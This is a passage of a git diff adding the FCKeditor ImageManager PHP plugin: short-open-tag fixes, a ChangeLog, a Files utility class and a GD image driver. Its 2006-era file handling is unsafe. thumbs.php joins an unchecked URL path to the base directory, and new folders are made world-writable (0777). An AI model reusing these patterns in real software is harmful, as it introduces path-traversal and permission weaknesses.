+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+@@ -24,11 +24,11 @@
+ <script type="text/javascript">
+ /*<![CDATA[*/
+-      var thumbdir = "<? echo $IMConfig['thumbnail_dir']; ?>";
+-      var base_url = "<? echo $manager->getBaseURL(); ?>";
+-      var server_name = "<? echo $IMConfig['server_name']; ?>";
++      var thumbdir = "<?php echo $IMConfig['thumbnail_dir']; ?>";
++      var base_url = "<?php echo $manager->getBaseURL(); ?>";
++      var server_name = "<?php echo $IMConfig['server_name']; ?>";
+-      window.resizeTo(600, 460);
++      window.resizeTo(900, 500);
+       if(window.opener.ImageManager && window.opener.ImageManager.I18N)
+       {
+@@ -71,14 +71,14 @@
+       <label for="dirPath">Directory</label>
+       <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+       <option value="/">/</option>
+-<? foreach($dirs as $relative=>$fullpath) { ?>
+-              <option value="<? echo rawurlencode($relative); ?>"><? echo $relative; ?></option>
+-<? } ?>
++<?php foreach($dirs as $relative=>$fullpath) { ?>
++              <option value="<?php echo rawurlencode($relative); ?>"><?php echo $relative; ?></option>
++<?php } ?>
+       </select>
+       <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+-<? if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
++<?php if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+       <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+-<? } ?>
++<?php } ?>
+       <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+       <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+ </div>
+@@ -105,7 +105,7 @@
+                       <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+               </tr>
+               <tr>
+-<? if($IMConfig['allow_upload'] == true) { ?>
++<?php if($IMConfig['allow_upload'] == true) { ?>
+                       <td align="right"><label for="upload">Upload</label></td>
+                       <td>
+                               <table cellpadding="0" cellspacing="0" border="0">
+@@ -115,9 +115,9 @@
+                   </tr>
+                 </table>
+                       </td>
+-<? } else { ?>
++<?php } else { ?>
+                       <td colspan="2"></td>
+-<? } ?>
++<?php } ?>
+                       <td align="right"><label for="f_align">Align</label></td>
+                       <td colspan="2">
+                               <select size="1" id="f_align"  title="Positioning of this image">
+@@ -155,4 +155,4 @@
+       <input type="hidden" id="f_file" name="f_file" />
+ </form>
+ </body>
+-</html>
+\ Pas de fin de ligne à la fin du fichier.
++</html>
+diff -u -r /ImageManager_20062020/thumbs.php ./thumbs.php
+--- /ImageManager_20062020/thumbs.php  2006-06-20 22:17:32.000000000 +0200
++++ ./thumbs.php       2006-12-16 22:38:13.000000000 +0100
+@@ -1,82 +1,82 @@
+-<?
++<?php
+ /**
+  * On the fly Thumbnail generation.
+  * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+  * relative to the base_dir given in config.inc.php
+- * @author $Author: matrix $
+- * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
++ * @author Wei Zhuo
++ * @version $Id: 20062020_20061221.diff,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+  * @package ImageManager
+  */
+-require_once('config.inc.php');
+-require_once('Classes/ImageManager.php');
+-require_once('Classes/Thumbnail.php');
+-
+-//check for img parameter in the url
+-if(!isset($_GET['img']))
+-      exit();
+-
+-
+-$manager = new ImageManager($IMConfig);
+-
+-//get the image and the full path to the image
+-$image = rawurldecode($_GET['img']);
+-$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+-
+-//not a file, so exit
+-if(!is_file($fullpath))
+-      exit();
+-
+-$imgInfo = @getImageSize($fullpath);
+-
+-//Not an image, send default thumbnail
+-if(!is_array($imgInfo))
+-{
+-      //show the default image, otherwise we quit!
+-      $default = $manager->getDefaultThumb();
+-      if($default)
+-      {
+-              header('Location: '.$default);
+-              exit();
+-      }
+-}
+-//if the image is less than the thumbnail dimensions
+-//send the original image as thumbnail
+-if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+- && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+- {
+-       header('Location: '.$manager->getFileURL($image));
+-       exit();
+- }
+-
+-//Check for thumbnails
+-$thumbnail = $manager->getThumbName($fullpath);
+-if(is_file($thumbnail))
+-{
+-      //if the thumbnail is newer, send it
+-      if(filemtime($thumbnail) >= filemtime($fullpath))
+-      {
+-              header('Location: '.$manager->getThumbURL($image));
+-              exit();
+-      }
+-}
+-
+-//creating thumbnails
+-$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+-$thumbnailer->createThumbnail($fullpath, $thumbnail);
+-
+-//Check for NEW thumbnails
+-if(is_file($thumbnail))
+-{
+-      //send the new thumbnail
+-      header('Location: '.$manager->getThumbURL($image));
+-      exit();
+-}
+-else
+-{
+-      //show the default image, otherwise we quit!
+-      $default = $manager->getDefaultThumb();
++require_once('config.inc.php');
++require_once('Classes/ImageManager.php');
++require_once('Classes/Thumbnail.php');
++
++//check for img parameter in the url
++if(!isset($_GET['img']))
++      exit();
++
++
++$manager = new ImageManager($IMConfig);
++
++//get the image and the full path to the image
++$image = rawurldecode($_GET['img']);
++$fullpath = Files::makeFile($manager->getBaseDir(),$image);
++
++//not a file, so exit
++if(!is_file($fullpath))
++      exit();
++
++$imgInfo = @getImageSize($fullpath);
++
++//Not an image, send default thumbnail
++if(!is_array($imgInfo))
++{
++      //show the default image, otherwise we quit!
++      $default = $manager->getDefaultThumb();
++      if($default)
++      {
++              header('Location: '.$default);
++              exit();
++      }
++}
++//if the image is less than the thumbnail dimensions
++//send the original image as thumbnail
++if ($imgInfo[0] <= $IMConfig['thumbnail_width']
++ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
++ {
++       header('Location: '.$manager->getFileURL($image));
++       exit();
++ }
++
++//Check for thumbnails
++$thumbnail = $manager->getThumbName($fullpath);
++if(is_file($thumbnail))
++{
++      //if the thumbnail is newer, send it
++      if(filemtime($thumbnail) >= filemtime($fullpath))
++      {
++              header('Location: '.$manager->getThumbURL($image));
++              exit();
++      }
++}
++
++//creating thumbnails
++$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
++$thumbnailer->createThumbnail($fullpath, $thumbnail);
++
++//Check for NEW thumbnails
++if(is_file($thumbnail))
++{
++      //send the new thumbnail
++      header('Location: '.$manager->getThumbURL($image));
++      exit();
++}
++else
++{
++      //show the default image, otherwise we quit!
++      $default = $manager->getDefaultThumb();
+       if($default)
+               header('Location: '.$default);
+ }
+-?>
+\ Pas de fin de ligne à la fin du fichier.
++?>
diff --git a/fckeditor/editor/plugins/ImageManager/ChangeLog b/fckeditor/editor/plugins/ImageManager/ChangeLog
new file mode 100644 (file)
index 0000000..dff2a68
--- /dev/null
@@ -0,0 +1,156 @@
+2006-12-21  Thierry Bothorel
+
+       * Classes/ImageManager.php (1.4, Release-20061221): Bug fix:
+       missing include declaration Transform.php (PHP Fatal error:
+       Undefined class name 'image_transform' in ImageManager.php on line
+       436)
+
+2006-12-21  Thierry Bothorel
+
+       * Classes/ImageManager.php (1.3): Moved and extended contrain to
+       config size on upload to ImageManager.php (Paul
+       Moers<mail@saulmade.nl>)
+
+2006-12-21  Thierry Bothorel
+
+       * fckplugin.js (1.4, Release-20061221): Bug fix: When picking
+       another image in the manager and confirming, the image in the
+       editorArea changed, but the src attribute didn't. The attribute
+       '_fcksavedurl' needed to be set too. (Paul Moers<mail@saulmade.nl>)
+
+2006-12-20  Thierry Bothorel
+
+       * Classes/ImageEditor.php (1.3, Release-20061221,
+       Release-20061220): Bug fix: "PHP Notice:  Undefined property:
+       forcedNewName" if "allow_overwrite" is true in config.inc.php (Alan
+       Pinstein <apinstein@showcasere.com>).
+
+2006-12-20  Thierry Bothorel
+
+       * editorFrame.php (1.7, Release-20061221, Release-20061220): Bug
+       fix: watermarks trying to be loaded even if there are none defined
+       in config.inc.php (Undefined offset:  0) (Alan Pinstein
+       <apinstein@showcasere.com>).
+
+2006-12-19  Thierry Bothorel
+
+       * Classes/IM.php (1.2, Release-20061221, Release-20061220): Escape
+       shell arguments for ImageMagick driver (to prevent security
+       issues). (Alan Pinstein <apinstein@showcasere.com>)
+
+2006-12-19  Thierry Bothorel
+
+       * Classes/IM.php (1.1): initial Commit = Saulmade 20060620 version
+
+2006-12-19  Thierry Bothorel
+
+       * editorFrame.php (1.6): Bug fix: PHP warning when opening an image
+       for editing. (Alan Pinstein <apinstein@showcasere.com>
+
+2006-12-18  Thierry Bothorel
+
+       * editorFrame.php (1.5): Bug fix: "Editor hangs on any rotating"
+       and "editor displays ghost image overlay" if watermark images are
+       defined in config.inc.php AND any of these images are missing in
+       the destination folder.
+
+2006-12-17  Thierry Bothorel
+
+       * fckplugin.js (1.3, Release-20061220, Release-20061217): Restoring
+       Wei Zhuo Id
+
+2006-12-17  Thierry Bothorel
+
+       * manager.php (1.4, Release-20061221, Release-20061220,
+       Release-20061217): window upgraded to 900pix wide to display all
+       content with non english strings and FF 1.5.0.8
+
+2006-12-17  Thierry Bothorel
+
+       * config.inc.php (1.4, Release-20061221, Release-20061220,
+       Release-20061217): clean-up for release
+
+2006-12-17  Thierry Bothorel
+
+       * assets/editorFrame.js (1.2): File erroneously comitted
+
+2006-12-17  Thierry Bothorel
+
+       * editor.php (1.3, Release-20061221, Release-20061220,
+       Release-20061217): Bug fix: editor hangs displaying 'rotating' if
+       no rotate setting entered. Added default '0' angle value.
+
+2006-12-17  Thierry Bothorel
+
+       * editorFrame.php (1.4, Release-20061217): Bug fix: "tools not
+       displayed if action = flip".  "tools_flip block" does not exist
+
+2006-12-17  Thierry Bothorel
+
+       * assets/editorFrame.js (1.1, Saulmade-20060620): initial Commit =
+       Saulmade 20060620 version
+
+2006-12-17  Thierry Bothorel
+
+       * lang/fr.js (1.2, Release-20061221, Release-20061220,
+       Release-20061217): Added missing french translations
+
+2006-12-17  Thierry Bothorel
+
+       * lang/fr.js (1.1, Saulmade-20060620): initial Commit = Saulmade
+       20060620 version
+
+2006-12-17  Thierry Bothorel
+
+       * config.inc.php (1.3): Added a default "imageManager.png"
+       watermark image in /img/watermark/ so that at least on example
+       being provided with this plugin.
+
+2006-12-17  Thierry Bothorel
+
+       * img/watermark/imageManager.png (1.2, Release-20061221,
+       Release-20061220, Release-20061217), img/watermark/imageManager.png
+       (1.1): Ajout de l'image watermark par défaut (pour qu'il y ait au
+       moins un exemple dans le plugin à l'installation)
+
+2006-12-17  Thierry Bothorel
+
+       * editorFrame.php (1.3): - Bug fix: "syntax error, unexpected $end"
+       (no space after "php" in "<?php}") - Added ";" at the end of some
+       tiny php code insertions.
+
+2006-12-16  Thierry Bothorel
+
+       * manager.php (1.3): Bug fix: window too small with FF 1.5.08,
+       especially with non english strings
+
+2006-12-16  Thierry Bothorel
+
+       * config.inc.php (1.2), editorFrame.php (1.2), fckplugin.js (1.2),
+       images.php (1.2, Release-20061221, Release-20061220,
+       Release-20061217), manager.php (1.2), thumbs.php (1.2,
+       Release-20061221, Release-20061220, Release-20061217),
+       Classes/Files.php (1.2, Release-20061221, Release-20061220,
+       Release-20061217), Classes/ImageEditor.php (1.2, Release-20061217),
+       Classes/ImageManager.php (1.2, Release-20061220, Release-20061217),
+       Classes/Thumbnail.php (1.2, Release-20061221, Release-20061220,
+       Release-20061217), Classes/api.watermark.php (1.2,
+       Release-20061221, Release-20061220, Release-20061217) (utags:
+       Short-open-tag-off): Bug fix: plugin does not work with "php
+       short_open_tag=off"
+
+2006-12-16  Thierry Bothorel
+
+       * editor.php (1.2, Short-open-tag-off): - Bug fix: plugin does not
+       work with "php short_open_tag=off" - Bug fix: dirname($img) is not
+       valid with "php register_globals = Off" -> dirname($_GET['img'])
+
+2006-12-16  Thierry Bothorel
+
+       * config.inc.php (1.1), editor.php (1.1), editorFrame.php (1.1),
+       fckplugin.js (1.1), images.php (1.1), manager.php (1.1), thumbs.php
+       (1.1), Classes/Files.php (1.1), Classes/ImageEditor.php (1.1),
+       Classes/ImageManager.php (1.1), Classes/Thumbnail.php (1.1),
+       Classes/api.watermark.php (1.1) (utags: Saulmade-20060620): initial
+       Commit = Saulmade 20060620 version
+
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/Files.php b/fckeditor/editor/plugins/ImageManager/Classes/Files.php
new file mode 100644 (file)
index 0000000..9be380d
--- /dev/null
@@ -0,0 +1,215 @@
+<?php
+/**
+ * File Utilities.
+ * @author Wei Zhuo
+ * @version $Id: Files.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ */
+
+define('FILE_ERROR_NO_SOURCE', 100);
+define('FILE_ERROR_COPY_FAILED', 101);
+define('FILE_ERROR_DST_DIR_FAILED', 102);
+define('FILE_COPY_OK', 103);
+
+/**
+ * File Utilities
+ * @author Wei Zhuo
+ * @version $Id: Files.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+ * @package ImageManager
+ * @subpackage files
+ */
+class Files 
+{
+       
+       /**
+        * Copy a file from source to destination. If unique == true, then if
+        * the destination exists, it will be renamed by appending an increamenting 
+        * counting number.
+        * @param string $source where the file is from, full path to the files required
+        * @param string $destination_file name of the new file, just the filename
+        * @param string $destination_dir where the files, just the destination dir,
+        * e.g., /www/html/gallery/
+        * @param boolean $unique create unique destination file if true.
+        * @return string the new copied filename, else error if anything goes bad.
+        */
+       function copyFile($source, $destination_dir, $destination_file, $unique=true) 
+       {
+               if(!(file_exists($source) && is_file($source))) 
+                       return FILE_ERROR_NO_SOURCE;
+
+               $destination_dir = Files::fixPath($destination_dir);
+
+               if(!is_dir($destination_dir)) 
+                       Return FILE_ERROR_DST_DIR_FAILED;
+
+               $filename = Files::escape($destination_file);
+
+               if($unique) 
+               {
+                       $dotIndex = strrpos($destination_file, '.');
+                       $ext = '';
+                       if(is_int($dotIndex)) 
+                       {
+                               $ext = substr($destination_file, $dotIndex);
+                               $base = substr($destination_file, 0, $dotIndex);
+                       }
+                       $counter = 0;
+                       while(is_file($destination_dir.$filename)) 
+                       {
+                               $counter++;
+                               $filename = $base.'_'.$counter.$ext;
+                       }
+               }
+
+               if (!copy($source, $destination_dir.$filename))
+                       return FILE_ERROR_COPY_FAILED;
+               
+               //verify that it copied, new file must exists
+               if (is_file($destination_dir.$filename))
+                       Return $filename;
+               else
+                       return FILE_ERROR_COPY_FAILED;
+       }
+
+       /**
+        * Create a new folder.
+        * @param string $newFolder specifiy the full path of the new folder.
+        * @return boolean true if the new folder is created, false otherwise.
+        */
+       function createFolder($newFolder) 
+       {
+               mkdir ($newFolder, 0777);
+               return chmod($newFolder, 0777);
+       }
+
+
+       /**
+        * Escape the filenames, any non-word characters will be
+        * replaced by an underscore.
+        * @param string $filename the orginal filename
+        * @return string the escaped safe filename
+        */
+       function escape($filename) 
+       {
+               Return preg_replace('/[^\w\._]/', '_', $filename);
+       }
+
+       /**
+        * Delete a file.
+        * @param string $file file to be deleted
+        * @return boolean true if deleted, false otherwise.
+        */
+       function delFile($file) 
+       {
+               if(is_file($file)) 
+                       Return unlink($file);
+               else
+                       Return false;
+       }
+
+       /**
+        * Delete folder(s), can delete recursively.
+        * @param string $folder the folder to be deleted.
+        * @param boolean $recursive if true, all files and sub-directories
+        * are delete. If false, tries to delete the folder, can throw
+        * error if the directory is not empty.
+        * @return boolean true if deleted.
+        */
+       function delFolder($folder, $recursive=false) 
+       {
+               $deleted = true;
+               if($recursive) 
+               {
+                       $d = dir($folder);
+                       while (false !== ($entry = $d->read())) 
+                       {
+                               if ($entry != '.' && $entry != '..')
+                               {
+                                       $obj = Files::fixPath($folder).$entry;
+                                       //var_dump($obj);
+                                       if (is_file($obj))
+                                       {
+                                               $deleted &= Files::delFile($obj);                                       
+                                       }
+                                       else if(is_dir($obj))
+                                       {
+                                               $deleted &= Files::delFolder($obj, $recursive);
+                                       }
+                                       
+                               }
+                       }
+                       $d->close();
+
+               }
+
+               //$folder= $folder.'/thumbs';
+               //var_dump($folder);
+               if(is_dir($folder)) 
+                       $deleted &= rmdir($folder);
+               else
+                       $deleted &= false;
+
+               Return $deleted;
+       }
+
+       /**
+        * Append a / to the path if required.
+        * @param string $path the path
+        * @return string path with trailing /
+        */
+       function fixPath($path) 
+       {
+               //append a slash to the path if it doesn't exists.
+               if(!(substr($path,-1) == '/'))
+                       $path .= '/';
+               Return $path;
+       }
+
+       /**
+        * Concat two paths together. Basically $pathA+$pathB
+        * @param string $pathA path one
+        * @param string $pathB path two
+        * @return string a trailing slash combinded path.
+        */
+       function makePath($pathA, $pathB) 
+       {
+               $pathA = Files::fixPath($pathA);
+               if(substr($pathB,0,1)=='/')
+                       $pathB = substr($pathB,1);
+               Return Files::fixPath($pathA.$pathB);
+       }
+
+       /**
+        * Similar to makePath, but the second parameter
+        * is not only a path, it may contain say a file ending.
+        * @param string $pathA the leading path
+        * @param string $pathB the ending path with file
+        * @return string combined file path.
+        */
+       function makeFile($pathA, $pathB) 
+       {               
+               $pathA = Files::fixPath($pathA);
+               if(substr($pathB,0,1)=='/')
+                       $pathB = substr($pathB,1);
+               
+               Return $pathA.$pathB;
+       }
+
+       
+       /**
+        * Format the file size, limits to Mb.
+        * @param int $size the raw filesize
+        * @return string formated file size.
+        */
+       function formatSize($size) 
+       {
+               if($size < 1024) 
+                       return $size.' bytes';  
+               else if($size >= 1024 && $size < 1024*1024) 
+                       return sprintf('%01.2f',$size/1024.0).' Kb';    
+               else
+                       return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';     
+       }
+}
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/GD.php b/fckeditor/editor/plugins/ImageManager/Classes/GD.php
new file mode 100644 (file)
index 0000000..31181fe
--- /dev/null
@@ -0,0 +1,508 @@
+<?php
+/***********************************************************************
+** Title.........:  GD Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  GD.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// |          Alan Knowles <alan@akbkhome.com>                            |
+// +----------------------------------------------------------------------+
+//
+//    Usage :
+//    $img    = new Image_Transform_GD();
+//    $angle  = -78;
+//    $img->load('magick.png');
+//
+//    if($img->rotate($angle,array('autoresize'=>true,'color_mask'=>array(255,0,0)))){
+//        $img->addText(array('text'=>"Rotation $angle",'x'=>0,'y'=>100,'font'=>'/usr/share/fonts/default/TrueType/cogb____.ttf'));
+//        $img->display();
+//    } else {
+//        echo "Error";
+//    }
+//
+//
+// $Id: GD.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+//
+// Image Transformation interface using the GD library
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_GD extends Image_Transform
+{
+    /**
+     * Holds the image file for manipulation
+     */
+    var $imageHandle = '';
+
+    /**
+     * Holds the original image file
+     */
+    var $old_image = '';
+
+    /**
+     * Check settings
+     *
+     * @return mixed true or  or a PEAR error object on error
+     *
+     * @see PEAR::isError()
+     */
+    function Image_Transform_GD()
+    {
+        return;
+    } // End function Image
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+        $this->image = $image;
+        $this->_get_image_details($image);
+        $functionName = 'ImageCreateFrom' . $this->type;
+               if(function_exists($functionName))
+               {
+                       $this->imageHandle = $functionName($this->image);
+               }
+    } // End load
+
+    /**
+     * addText
+     *
+     * @param   array   options     Array contains options
+     *                              array(
+     *                                  'text'  The string to draw
+     *                                  'x'     Horizontal position
+     *                                  'y'     Vertical Position
+     *                                  'Color' Font color
+     *                                  'font'  Font to be used
+     *                                  'size'  Size of the fonts in pixel
+     *                                  'resize_first'  Tell if the image has to be resized
+     *                                                  before drawing the text
+     *                              )
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function addText($params)
+    {
+        $default_params = array(
+                                'text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => array(255,0,0),
+                                'font' => 'Arial.ttf',
+                                'size' => '12',
+                                'angle' => 0,
+                                'resize_first' => false // Carry out the scaling of the image before annotation?  Not used for GD
+                                );
+        $params = array_merge($default_params, $params);
+        extract($params);
+
+        if( !is_array($color) ){
+            if ($color[0]=='#'){
+                $this->colorhex2colorarray( $color );
+            } else {
+                include_once('Image/Transform/Driver/ColorsDefs.php');
+                $color = isset($colornames[$color])?$colornames[$color]:false;
+            }
+        }
+
+        $c = imagecolorresolve ($this->imageHandle, $color[0], $color[1], $color[2]);
+
+        if ('ttf' == substr($font, -3)) {
+            ImageTTFText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+        } else {
+            ImagePSText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+        }
+        return true;
+    } // End addText
+
+
+    /**
+     * Rotate image by the given angle
+     * Uses a fast rotation algorythm for custom angles
+     * or lines copy for multiple of 90 degrees
+     *
+     * @param int       $angle      Rotation angle
+     * @param array     $options    array(  'autoresize'=>true|false,
+     *                                      'color_mask'=>array(r,g,b), named color or #rrggbb
+     *                                   )
+     * @author Pierre-Alain Joye
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function rotate($angle, $options=null)
+    {
+        if(function_exists('imagerotate') && false) {
+            $white = imagecolorallocate ($this->imageHandle, 255, 255, 255);
+                       $this->imageHandle = imagerotate($this->imageHandle, $angle, $white);
+            return true;
+        }
+
+        if ( $options==null ){
+            $autoresize = true;
+            $color_mask = array(255,255,0);
+        } else {
+            extract( $options );
+        }
+
+        while ($angle <= -45) {
+            $angle  += 360;
+        }
+        while ($angle > 270) {
+            $angle  -= 360;
+        }
+
+        $t      = deg2rad($angle);
+
+        if( !is_array($color_mask) ){
+            if ($color[0]=='#'){
+                $this->colorhex2colorarray( $color_mask );
+            } else {
+                include_once('Image/Transform/Driver/ColorDefs.php');
+                $color = isset($colornames[$color_mask])?$colornames[$color_mask]:false;
+            }
+        }
+
+        // Do not round it, too much lost of quality
+        $cosT   = cos($t);
+        $sinT   = sin($t);
+
+        $img    =& $this->imageHandle;
+
+        $width  = $max_x  = $this->img_x;
+        $height = $max_y  = $this->img_y;
+        $min_y  = 0;
+        $min_x  = 0;
+
+        $x1     = round($max_x/2,0);
+        $y1     = round($max_y/2,0);
+
+        if ( $autoresize ){
+            $t      = abs($t);
+            $a      = round($angle,0);
+            switch((int)($angle)){
+                case 0:
+                        $width2     = $width;
+                        $height2    = $height;
+                    break;
+                case 90:
+                        $width2     = $height;
+                        $height2    = $width;
+                    break;
+                case 180:
+                        $width2     = $width;
+                        $height2    = $height;
+                    break;
+                case 270:
+                        $width2     = $height;
+                        $height2    = $width;
+                    break;
+                default:
+                    $width2     = (int)(abs(sin($t) * $height + cos($t) * $width));
+                    $height2    = (int)(abs(cos($t) * $height+sin($t) * $width));
+            }
+
+            $width2     -= $width2%2;
+            $height2    -= $height2%2;
+
+            $d_width    = abs($width - $width2);
+            $d_height   = abs($height - $height2);
+            $x_offset   = $d_width/2;
+            $y_offset   = $d_height/2;
+            $min_x2     = -abs($x_offset);
+            $min_y2     = -abs($y_offset);
+            $max_x2     = $width2;
+            $max_y2     = $height2;
+        }
+
+        if(function_exists('ImageCreateTrueColor')){
+            $img2 =ImageCreateTrueColor($width2,$height2);
+        } else {
+            $img2 =ImageCreate($width2,$height2);
+        }
+       
+
+        if ( !is_resource($img2) ){
+            return false;/*PEAR::raiseError('Cannot create buffer for the rotataion.',
+                                null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+        }
+
+        $this->img_x = $width2;
+        $this->img_y = $height2;
+
+
+        imagepalettecopy($img2,$img);
+
+        $mask   = imagecolorresolve($img2,$color_mask[0],$color_mask[1],$color_mask[2]);
+
+        // use simple lines copy for axes angles
+        switch((int)($angle)){
+            case 0:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $min_x; $x < $max_x; $x++){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+                    }
+                }
+                break;
+            case 90:
+                imagefill ($img2, 0, 0,$mask);
+                for ($x = $min_x; $x < $max_x; $x++){
+                    for ($y=$min_y; $y < $max_y; $y++) {
+                        $c  = imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$max_y-$y-1,$x,$c);
+                    }
+                }
+                break;
+            case 180:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $min_x; $x < $max_x; $x++){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2, $max_x2-$x-1, $max_y2-$y-1, $c);
+                    }
+                }
+                break;
+            case 270:
+                imagefill ($img2, 0, 0,$mask);
+                for ($y=0; $y < $max_y; $y++) {
+                    for ($x = $max_x; $x >= $min_x; $x--){
+                        $c  = @imagecolorat ( $img, $x, $y);
+                        imagesetpixel($img2,$y,$max_x-$x-1,$c);
+                    }
+                }
+                break;
+            // simple reverse rotation algo
+            default:
+                $i=0;
+                for ($y = $min_y2; $y < $max_y2; $y++){
+
+                    // Algebra :)
+                    $x2 = round((($min_x2-$x1) * $cosT) + (($y-$y1) * $sinT + $x1),0);
+                    $y2 = round((($y-$y1) * $cosT - ($min_x2-$x1) * $sinT + $y1),0);
+
+                    for ($x = $min_x2; $x < $max_x2; $x++){
+
+                        // Check if we are out of original bounces, if we are
+                        // use the default color mask
+                        if ( $x2>=0 && $x2<$max_x && $y2>=0 && $y2<$max_y ){
+                            $c  = imagecolorat ( $img, $x2, $y2);
+                        } else {
+                            $c  = $mask;
+                        }
+                        imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+
+                        // round verboten!
+                        $x2  += $cosT;
+                        $y2  -= $sinT;
+                    }
+                }
+                break;
+        }
+        $this->old_image    = $this->imageHandle;
+        $this->imageHandle  =  $img2;
+        return true;
+    }
+
+
+   /**
+    * Resize Action
+    *
+    * For GD 2.01+ the new copyresampled function is used
+    * It uses a bicubic interpolation algorithm to get far
+    * better result.
+    *
+    * @param $new_x int  new width
+    * @param $new_y int  new height
+    *
+    * @return true on success or pear error
+    * @see PEAR::isError()
+    */
+    function _resize($new_x, $new_y) {
+        if ($this->resized === true) {
+            return false; /*PEAR::raiseError('You have already resized the image without saving it.  Your previous resizing will be overwritten', null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+        }
+        if(function_exists('ImageCreateTrueColor')){
+            $new_img =ImageCreateTrueColor($new_x,$new_y);
+        } else {
+            $new_img =ImageCreate($new_x,$new_y);
+        }
+        if(function_exists('ImageCopyResampled')){
+            ImageCopyResampled($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+        } else {
+            ImageCopyResized($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+        }
+        $this->old_image = $this->imageHandle;
+        $this->imageHandle = $new_img;
+        $this->resized = true;
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+        return true;
+    }
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($new_x, $new_y, $new_width, $new_height) 
+    {
+        if(function_exists('ImageCreateTrueColor')){
+            $new_img =ImageCreateTrueColor($new_width,$new_height);
+        } else {
+            $new_img =ImageCreate($new_width,$new_height);
+        }
+        if(function_exists('ImageCopyResampled')){
+            ImageCopyResampled($new_img, $this->imageHandle, 0, 0, $new_x, $new_y,$new_width,$new_height,$new_width,$new_height);
+        } else {
+            ImageCopyResized($new_img, $this->imageHandle, 0, 0, $new_x, $new_y, $new_width,$new_height,$new_width,$new_height);
+        }
+        $this->old_image = $this->imageHandle;
+        $this->imageHandle = $new_img;
+        $this->resized = true;
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+        return true;
+    }
+   
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal)
+    {
+        if(!$horizontal) {
+            $this->rotate(180);
+        }
+
+        $width = imagesx($this->imageHandle); 
+        $height = imagesy($this->imageHandle); 
+
+        for ($j = 0; $j < $height; $j++) { 
+                $left = 0; 
+                $right = $width-1; 
+
+
+                while ($left < $right) { 
+                    //echo " j:".$j." l:".$left." r:".$right."\n<br>";
+                    $t = imagecolorat($this->imageHandle, $left, $j); 
